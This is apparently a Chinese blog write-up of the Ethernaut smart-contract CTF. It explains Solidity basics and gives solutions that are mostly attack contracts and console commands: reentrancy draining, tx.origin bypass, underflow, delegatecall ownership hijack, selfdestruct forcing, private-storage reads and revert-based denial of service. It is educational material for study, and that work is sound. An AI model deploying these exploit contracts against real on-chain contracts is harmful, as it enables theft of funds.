文章目录
前言
在AAA打ctf的时候了解了区块链这个新赛道,后来在学校也上过区块链安全的课程,前段时间自己抽空学习了一点区块链安全的知识,这里做个简要分享~
环境部署
现在的水房基本不太能用了,所以我们一般做题都是本地搭建一个链
先打开一个terminal,这里我在mac上搭建的
git clone [email protected]:OpenZeppelin/ethernaut.git
cd ethernaut
yarn install
然后输入
yarn network
这个时候本地的测试链就搭建好了,我们先注册metamask账号,然后连接local network
再打开一个terminal
yarn compile:contracts//这个只需要第一次的时候调用
yarn deploy:contracts
yarn start:ethernaut
当我们第一次成功部署好环境之后,之后重新配置环境就可以按照如下操作就好
yarn network
yarn deploy:contracts
yarn start:ethernaut
基础知识
tx.origin和msg.sender
abi
contract.abi可以查看合约的function
sendTransaction
往以太坊合约转钱
fallback
Solidity语言中关于回退函数fallback()的定义:
回退函数是一个不接受任何参数也不返回任何值的特殊函数;
- 如果在对合约的调用中,没有其它函数与给定的函数标识符匹配时,回退函数会被调用;
- 每当合约接收到以太币,且没有 receive 函数时,回退函数会被调用;
- 一个合约中最多可以有一个回退函数。
如果没有给fallback函数定义payable,那就不能给他转钱,只可以弄数据
receive
- 一个合约最多有一个 receive 函数, 声明函数为: receive() external payable { … }
- 不需要 function 关键字,也没有参数和返回值并且必须是 external 可见性和 payable 修饰. 它可以是 virtual 的,可以被重载也可以有修改器modifier 。
- 在对合约没有任何附加数据调用(通常是对合约转账)是会执行 receive 函数。例如 通过 .send() or .transfer() 如果 receive 函数不存在, 但是有payable 的fallback 回退函数,那么在进行纯以太转账时,fallback 函数会调用.
- 如果两个函数都没有,这个合约就没法通过常规的转账交易接收以太(会抛出异常).
- 更糟的是,receive 函数可能只有 2300 gas 可以使用(如,当使用 send 或 transfer 时), 除了基础的日志输出之外,进行其他操作的余地很小。
单位
以太币Ether单位之间的换算就是在数字后边加上 wei , gwei 或 ether 来实现的,如果后面没有单位,缺省为 wei。
assert(1 wei == 1);
assert(1 gwei == 1e9);
assert(1 ether == 1e18);
transfer send
注意看这个transfer和send的实现,都是往调用的地址去转钱
delegatecall和call和callcode
address.call(...) returns (bool)
address.delegatecall(...) returns (bool)
address.callcode(...) returns (bool)
些函数传入的参数会被填充至32字节,拼接成一个字符串序列,由EVM解析并且执行。
异同点:
- call: 调用后内置变量 msg 的值会修改为调用者,执行环境为被调用者的运行环境
- delegatecall: 调用后内置变量 msg 的值不会修改为调用者,但执行环境为调用者的运行环境(相当于复制被调用者的代码到调用者合约)
- callcode: 调用后内置变量 msg 的值会修改为调用者,但执行环境为调用者的运行环境
function selector
- 基础原型即是函数名称加上由括号括起来的参数类型列表,参数类型间由一个逗号分隔开,且没有空格
- 对于 uint 类型,要转成 uint256 进行计算,比如 ownerOf(uint256) 其 Function Selector = bytes4(keccak256(‘ownerOf(uint256)’)) == 0x6352211e
- 函数参数包含结构体,相当于把结构体拆分成单个参数,只不过这些参数用 () 扩起来,详细可看下面的例子
pragma solidity >=0.4.16 <0.9.0;
pragma experimental ABIEncoderV2;
contract Demo {
struct Test {
string name;
string policies;
uint num;
}
uint public x;
function test1(bytes3) public {x = 1;}
function test2(bytes3[2] memory) public { x = 1; }
function test3(uint32 x, bool y) public { x = 1; }
function test4(uint, uint32[] memory, bytes10, bytes memory) public { x = 1; }
function test5(uint, Test memory test) public { x = 1; }
function test6(uint, Test[] memory tests) public { x = 1; }
function test7(uint[][] memory,string[] memory) public { x = 1; }
}
/* 函数选择器
{
"0d2032f1": "test1(bytes3)",
"2b231dad": "test2(bytes3[2])",
"92e92919": "test3(uint32,bool)",
"4d189ce2": "test4(uint256,uint32[],bytes10,bytes)",
"4ca373dc": "test5(uint256,(string,string,uint256))",
"ccc5bdd2": "test6(uint256,(string,string,uint256)[])",
"cc80bc65": "test7(uint256[][],string[])",
"0c55699c": "x()"
}
*/
function pwn() public {
owner = msg.sender;
}
bytes4(keccak256('pwn()')) //直接在solidity
web3.utils.keccak256("pwn()").slice(0,10) //web3
web3.eth.abi.encodeFunctionSignature('pwn()')//web3
0x4d189ce2 // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000080 // offset of second parameter
2 - 0x3132333435363738393000000000000000000000000000000000000000000000 // data of third parameter
3 - 0x00000000000000000000000000000000000000000000000000000000000000e0 // offset of forth parameter
4 - 0x0000000000000000000000000000000000000000000000000000000000000002 // length of second parameter
5 - 0x0000000000000000000000000000000000000000000000000000000011221122 // first data of second parameter
6 - 0x0000000000000000000000000000000000000000000000000000000033443344 // second data of second parameter
7 - 0x0000000000000000000000000000000000000000000000000000000000000005 // length of forth parameter
8 - 0x3132333435000000000000000000000000000000000000000000000000000000 // data of forth parameter
/* 一些解释说明
data of first parameter: uint 定长类型,直接存储其 data
offset of second parameter: uint32[] 动态数组,先存储其 offset=0x20*4 ( 4 代表函数参数的个数 )
data of third parameter: bytes10 定长类型,直接存储其 data
offset of forth parameter: bytes 变长类型,先存储其 offset=0x80+0x20*3=0xe0 (0x80 是前一个变长类型的 offset,3 是前一个变长类型存储其长度和两个元素占用的插槽个数)
length of second parameter: 存储完 data 或者 offset 后,便开始存储变长数据的 length 和 data,这里是第二个参数的长度
first data of second parameter: 第二个参数的第一个数据
second data of second parameter: 第二个参数的第二个数据
length of forth parameter: 上面就把第二个变长数据存储完成,这里就是存储下一个变长数据的长度
data of forth parameter: 第四个参数的数据
*/
0x4ca373dc // function selector
0 - 0x0000000000000000000000000000000000000000000000000000000000000123 // data of first parameter
1 - 0x0000000000000000000000000000000000000000000000000000000000000040 // offset of second parameter
2 - 0x0000000000000000000000000000000000000000000000000000000000000060 // first data offset of second parameter
3 - 0x00000000000000000000000000000000000000000000000000000000000000a0 // second data offset of second parameter
4 - 0x000000000000000000000000000000000000000000000000000000000000007b // third data of second parameter
5 - 0x0000000000000000000000000000000000000000000000000000000000000003 // first data length of second parameter
6 - 0x6378790000000000000000000000000000000000000000000000000000000000 // first data of second parameter
7 - 0x0000000000000000000000000000000000000000000000000000000000000004 // second data length of second parameter
8 - 0x70696b6100000000000000000000000000000000000000000000000000000000 // second data of second parameter
/* 一些解释说明
data of first parameter: uint 定长类型,直接存储其 data
offset of second parameter: 结构体,先存储其 offset=0x20*2 ( 2 代表函数参数的个数)
first data offset of second parameter: 结构体内元素可当成函数参数拆分,有三个元素,因第一个元素是 string 类型,所以先存储其 offset=0x20*3=0x60
second data offset of second parameter: 结构体第二个元素是 string 类型,先存储其 offset=0x60+0x20+0x20=0xa0 (第一个 0x20 是存储第一个 string 的长度所占大小,第二个 0x20 是存储第一个 string 的数据所占大小)
third data of second parameter: 结构体第三个元素是 uint 定长类型,直接存储其 data
first data length of second parameter: 存储结构体第一个元素的 length
first data of second parameter: 存储结构体第一个元素的 data
second data length of second parameter: 存储结构体第二个元素的 length
second data of second parameter: 存储结构体第二个元素的 data
*/
selfdestruct
重入攻击
其中,转账使用的是 address.call.value()() 函数,传递了所有可用 gas 供调用,是可以成功执行递归的前提条件
查看某一地址的数据
(await contract.prize()).toNumber()
https://learnblockchain.cn/docs/solidity
例题
Coin Flip
伪随机数问题,下面的值我们也可以在本地算出来的,所以直接写一个攻击的协议即可
uint256 blockValue = uint256(blockhash(block.number - 1));
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface CoinFlip {
function flip(bool _guess) external returns (bool) ;
}
contract attack{
CoinFlip constant private target = CoinFlip(0x9bd03768a7DCc129555dE410FF8E85528A4F88b5);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
uint256 lastHash;
function guess() public{
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
把合约地址拿过来,把其他代码拿过来抄一下就好
Telephone
考察tx.orgin和msg.sender的概念,如果我们用户直接调用题目合约,那么tx.origin和msg.sender都是用户,而我们通过创建一个新的合约去调用,那么对于题目的合约来说,tx.origin还是用户,但是msg.sender就是我们的合约,就通过了if的判断
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Telephone {
function changeOwner(address _owner) external ;
}
contract attack{
event Log(address);
Telephone constant private target=Telephone(0x4F57F9239eFCBf43e5920f579D03B3849C588396);
function hack() public{
emit Log(msg.sender);
emit Log(tx.origin);
target.changeOwner(msg.sender);
}
}
Token
溢出问题,
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
这里的balances都是uint,uint-uint还是unint,但是20-21就会变成很大,所以我们转21就好
Delegation
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
这里想修改owner只有pwn方法可以,然后注意delegatecall上下文执行环境就是我们的Delegation合约,所以只要调用pwn就会修改owner,这里还要注意一个点,
因为fallback没有加上payable
await contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})
所以我们这样就可以
await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})
force
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
这是一个空合约,题目让我们只要这个合约里面有钱就赢了,但如果直接sendTranscation转账会报错, Transaction reverted: function selector was not recognized and there’s no fallback nor receive function
我们可以利用selfdestruct
最开始写合约一直转账失败,我们可以利用这个构造函数加上payable,就可以再创建的时候转入比特币,然后再利用selfdestruct强行转账
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract attack{
constructor() payable{
}
function explot(address _addr) public{
selfdestruct(payable(_addr));
}
}
unlock
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
这里第0槽是locked,然后第1槽是password,因为byts32刚好是256,占满了
读取私有变量内容
await web3.eth.getStorageAt(contract.address,1)
king
这道题目是让我们成为king以后其他人不会成为king,成为king很简单,我们可以查看prize
(await contract.prize()).toNumber
然后选一个大的值就好
然后就是要让transfer执行失败,对于send和call来说,他们就算转账失败只会返回false,但是transfer会报错,就会revet,不会继续执行,那我们就在对应的recevie里函数触发异常
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract attack{
address target=0xa9b19BA63eD2fFa19f50a63Bddf5F4a0092678C7;
constructor() payable public {//创建的时候给1ether
payable(target).call{value:100000000000000000}("");
}
function receive() payable external {
require(false);
}
}
这样也是可以转账的
web3.eth.sendTransaction({from:player,to:contract.address,value:100000000000000000})
这种题目我们就在构造函数里转钱就好,然后创建的时候给点ether就好
这个地方不可以用send或者是transfer,因为这两个是固定2300gas,但这里根据提示需要21400gas,就不行
elevator
简单的题,根据状态返回就好
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Elevator {
function goTo(uint _floor) external {
}
}
contract Building {
bool public flag=false;
Elevator constant target=Elevator(0x524F04724632eED237cbA3c37272e018b3A7967e);
function isLastFloor(uint _floor) public returns (bool){
if(!flag){
flag=true;
return false;
}else{
return true;
}
}
function exploit() public{
target.goTo(1);
}
}
Privacy
算出在第五个,然后因为取的byte16,就感觉是前32个,加上0x就是34个,然后提交就好
(await web3.eth.getStorageAt(contract.address,5)).slice(0,34)
await contract.unlock('0xff9c98d7a9d6a5e1830825dadc3f9c96');
Re-entrancy
awaitweb3.eth.getBalance(contract.address) 获取账户余额
版本低一点,不然payable(this)还是不行
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Reentrance {
function donate(address _to) external payable {
}
function withdraw(uint _amount) external {
}
}
contract attack{
Reentrance target=Reentrance(0x29BDCBc116f3775698AE0ffE5F8fbBaf95F240CF);
bool flag=true;
constructor() payable public {
target.donate{value:1000000000000000}(payable(this));
}
function explotit() public{
target.withdraw(1000000000000000);
}
fallback() external payable {
if(flag){
flag=false;
target.withdraw(1000000000000000);
}
}
}
这里好像如果我用call的话转账会失败,可能是要攻击的合约gas不够,所以我们直接调用~就可以发现成功重入
版权归原作者 azraelxuemo 所有, 如有侵权,请联系我们删除。